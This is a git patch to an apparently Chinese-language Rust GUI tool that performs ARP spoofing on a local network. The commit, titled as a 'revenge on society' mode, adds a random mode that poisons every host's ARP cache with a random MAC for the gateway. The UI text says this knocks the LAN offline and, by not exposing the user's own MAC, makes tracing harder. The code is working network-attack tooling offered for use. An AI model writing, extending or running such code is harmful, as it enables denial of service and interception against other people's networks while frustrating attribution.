From fad12aa91660dd13bf356770c57f0a0f1e9fe2c7 Mon Sep 17 00:00:00 2001 From: Starrysky Date: Fri, 25 Sep 2026 17:54:21 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=8A=A5=E5=A4=8D=E7=A4=BE?= =?UTF-8?q?=E4=BC=9A=E6=A8=A1=E5=BC=8F:)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Cargo.lock | 77 ++++++++++++++++++++++++++++++++++++++++++++++ Cargo.toml | 2 ++ src/application.rs | 50 ++++++++++++++++++++++++++---- src/main.rs | 1 + src/worker.rs | 45 +++++++++++++++++++-------- 5 files changed, 156 insertions(+), 19 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 36cfd73..fc7285b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -436,6 +436,30 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" +[[package]] +name = "chacha20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" +dependencies = [ + "cfg-if", + "cpufeatures", + "rand_core", +] + +[[package]] +name = "chrono" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" +dependencies = [ + "iana-time-zone", + "js-sys", + "num-traits", + "wasm-bindgen", + "windows-link", +] + [[package]] name = "clipboard-win" version = "5.4.1" @@ -599,6 +623,15 @@ dependencies = [ "unicode-segmentation", ] +[[package]] +name = "cpufeatures" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566" +dependencies = [ + "libc", +] + [[package]] name = "crossbeam-utils" version = "0.8.23" @@ -1022,6 +1055,7 @@ dependencies = [ "cfg-if", "libc", "r-efi 6.0.0", + "rand_core", ] [[package]] @@ -1196,6 +1230,30 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dfa686283ad6dd069f105e5ab091b04c62850d3e4cf5d67debad1933f55023df" +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core 0.62.2", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + [[package]] name = "iced" version = "0.14.0" @@ -1531,10 +1589,12 @@ dependencies = [ name = "lan_toolkit" version = "0.1.0" dependencies = [ + "chrono", "iced", "netdev", "pnet", "pnet_packet", + "rand", ] [[package]] @@ -2577,6 +2637,23 @@ version = "6.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" +[[package]] +name = "rand" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65c9fb96cbc91e3478eaae79a69fcd3f1ae4ad052e471fe6732fff548984b4af" +dependencies = [ + "chacha20", + "getrandom 0.4.3", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69" + [[package]] name = "range-alloc" version = "0.1.5" diff --git a/Cargo.toml b/Cargo.toml index 42bf13b..13cfcee 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,9 @@ version = "0.1.0" edition = "2024" [dependencies] +chrono = "0.4.45" iced = "0.14.0" netdev = "0.46.3" pnet = "0.35.0" pnet_packet = "0.35.0" +rand = "0.10.3" diff --git a/src/application.rs b/src/application.rs index 1637f72..ef6c32b 100644 --- a/src/application.rs +++ b/src/application.rs @@ -22,6 +22,7 @@ pub struct LANToolkit { pub test_message: TestState, pub spoof_state: SpoofState, pub spoof_btn_text: String, + pub mode: Mode, } #[derive(Copy, Clone, Debug)] @@ -29,7 +30,9 @@ pub enum Messages { RefreshIfaces, IfaceSelected(Option), TestIface, - StartSpoof(bool), + // Running, Random + StartSpoof(bool, bool), + ModeSwitch, } #[derive(Copy, Clone, Debug)] @@ -50,6 +53,21 @@ pub enum SpoofState { Online, } +#[derive(Copy, Clone, Debug, PartialEq)] +pub enum Mode { + Standard, + Random +} + +impl Display for Mode { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Standard => write!(f, "标准模式"), + Self::Random => write!(f, "随机模式"), + } + } +} + impl Display for SpoofState { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { @@ -107,6 +125,7 @@ impl LANToolkit { test_message: TestState::NotSelected, spoof_state: SpoofState::Unchecked, spoof_btn_text: SpoofState::Unchecked.get_btn_text(), + mode: Mode::Standard, } } } @@ -139,7 +158,7 @@ impl LANToolkit { row![ button(self.spoof_btn_text.as_str()) .width(515) - .on_press(Messages::StartSpoof(false)), + .on_press(Messages::StartSpoof(false, false)), ].padding(10), column![ text("警告: 在未经过配置的设备上使用该程序可能导致连接的网络瘫痪") @@ -151,6 +170,19 @@ impl LANToolkit { text(self.spoof_state.to_string()) .width(300) .color(self.spoof_state.get_color()), + ].padding(10), + row![ + text("当前模式: ").width(130), + text(self.mode.to_string()).width(300), + button("切换").on_press(Messages::ModeSwitch), + ].padding(10), + column![ + text("标准模式: 局域网所有流量发送至本机,由本机处理"), + text("随机模式: 报复社会用,开启后局域网所有流量发送至随机地址,相当于断网"), + text("(当然,如果你的目的是断网,那么随机模式不会泄露你的mac地址,这意味着溯源难度会更大)") + ].padding(10), + row![ + text("开发者: Starrynight @ StarryForge") ].padding(10) ].padding(20) ).width(WINDOW_WIDTH) @@ -262,7 +294,7 @@ impl LANToolkit { if !matches!(self.spoof_state, SpoofState::Unchecked) { self.spoof_state = SpoofState::NotReady; } - self.state.tx.send(Messages::StartSpoof(false)).unwrap(); + self.state.tx.send(Messages::StartSpoof(false, false)).unwrap(); } pub fn update(&mut self, message: Messages) { @@ -289,7 +321,13 @@ impl LANToolkit { } } } - if let Messages::StartSpoof(_) = messages { + if matches!(messages, Messages::ModeSwitch) { + self.mode = match self.mode { + Mode::Standard => Mode::Random, + Mode::Random => Mode::Standard, + } + } + if let Messages::StartSpoof(_, _) = messages { match self.spoof_state { SpoofState::Unchecked => { self.spoof_state = if self.raw_packet_available { @@ -300,11 +338,11 @@ impl LANToolkit { }, SpoofState::NotReady => {}, SpoofState::Ready => { - messages = Messages::StartSpoof(true); + messages = Messages::StartSpoof(true, self.mode == Mode::Random); self.spoof_state = SpoofState::Online }, SpoofState::Online => { - messages = Messages::StartSpoof(false); + messages = Messages::StartSpoof(false, false); self.spoof_state = SpoofState::Ready } } diff --git a/src/main.rs b/src/main.rs index faf1119..8e1678c 100644 --- a/src/main.rs +++ b/src/main.rs @@ -26,6 +26,7 @@ fn main() { let res = iced::application(LANToolkit::boot(state.clone(), cfg.clone()), LANToolkit::update, LANToolkit::view) .title(|state: &LANToolkit| state.cfg.window_name.clone()) .window_size(Size::new(WINDOW_WIDTH as f32,WINDOW_HEIGHT as f32)) + .resizable(false) .theme(TokyoNight) .run(); if res.is_err() { diff --git a/src/worker.rs b/src/worker.rs index 69e6da6..faca0c6 100644 --- a/src/worker.rs +++ b/src/worker.rs @@ -1,11 +1,12 @@ use crate::application::Messages; use netdev::get_interfaces; use pnet::datalink::Channel::Ethernet; -use pnet::datalink::{Channel, NetworkInterface, channel, Config, DataLinkSender}; +use pnet::datalink::{Channel, Config, DataLinkSender, NetworkInterface, channel}; use pnet::packet::{MutablePacket, Packet}; use pnet::util::MacAddr; use pnet_packet::arp::{ArpHardwareTypes, ArpOperations, ArpPacket, MutableArpPacket}; use pnet_packet::ethernet::{EtherTypes, EthernetPacket, MutableEthernetPacket}; +use rand::{RngExt, SeedableRng}; use std::net::Ipv4Addr; use std::sync::mpsc::{Receiver, Sender, TryRecvError}; use std::thread::sleep; @@ -65,12 +66,25 @@ fn get_gateway(mac_addr: MacAddr) -> Option { Some(GateWay { ip: addr, mac: mac_addr }) } +fn get_random_mac() -> MacAddr { + let mut rng = rand::rngs::StdRng::from_rng(&mut rand::rng()); + MacAddr { + 0: rng.random(), + 1: rng.random(), + 2: rng.random(), + 3: rng.random(), + 4: rng.random(), + 5: rng.random(), + } +} + fn construct_arp( buffer: &mut [u8; 42], iface: NetworkInterface, gateway: GateWay, target_mac: MacAddr, - target_ip: Ipv4Addr) -> bool { + target_ip: Ipv4Addr, + random_mode: bool) -> bool { let epacket = MutableEthernetPacket::new(buffer); if epacket.is_none() { return false; @@ -92,7 +106,11 @@ fn construct_arp( packet.set_target_proto_addr(target_ip); packet.set_target_hw_addr(target_mac); packet.set_sender_proto_addr(gateway.ip); - packet.set_sender_hw_addr(iface.mac.unwrap()); + packet.set_sender_hw_addr(if random_mode { + get_random_mac() + }else { + iface.mac.unwrap() + }); packet.set_hardware_type(ArpHardwareTypes::Ethernet); packet.set_protocol_type(EtherTypes::Ipv4); @@ -133,7 +151,8 @@ fn _worker_update(iface:Option, ptx: Sender) -> fn worker_update( iface: Option, tx: Option>, - prx: Option>,) + prx: Option>, + rand: bool,) -> (Option>, Option>) { if prx.is_none() { return (prx, tx); @@ -176,7 +195,8 @@ fn worker_update( iface.clone(), gateway, packet.get_sender_hw_addr(), - packet.get_sender_proto_addr() + packet.get_sender_proto_addr(), + rand ) { continue; } @@ -192,6 +212,7 @@ pub fn worker_main(_: WorkerState, rx: Receiver) -> impl Fn() -> () { move || { // initialize let mut running = false; + let mut rand = false; let mut iface = pnet::datalink::interfaces().iter().nth(0).cloned(); let mut prx: Option> = None; @@ -203,9 +224,6 @@ pub fn worker_main(_: WorkerState, rx: Receiver) -> impl Fn() -> () { if msg.is_ok() { // Process message match msg.unwrap() { - Messages::RefreshIfaces => { - - }, Messages::IfaceSelected(index) => { if index.is_some() { iface = pnet::datalink::interfaces().iter().nth(index.unwrap()).cloned(); @@ -219,11 +237,9 @@ pub fn worker_main(_: WorkerState, rx: Receiver) -> impl Fn() -> () { println!("IfaceSelected(index={:?})", index); } }, - Messages::TestIface => { - - }, - Messages::StartSpoof(status) => { + Messages::StartSpoof(status, random) => { running = status; + rand = random; if status { let (tx, rx) = std::sync::mpsc::channel::(); prx = Some(rx); @@ -232,6 +248,9 @@ pub fn worker_main(_: WorkerState, rx: Receiver) -> impl Fn() -> () { prx = None; } println!("StartSpoof(running={:?})", running); + }, + _ => { + } } }else { @@ -242,7 +261,7 @@ pub fn worker_main(_: WorkerState, rx: Receiver) -> impl Fn() -> () { // And some extra things to do if running { - (prx, tx) = worker_update(iface.clone(), tx, prx); + (prx, tx) = worker_update(iface.clone(), tx, prx, rand); } // Delay to avoid burning cpu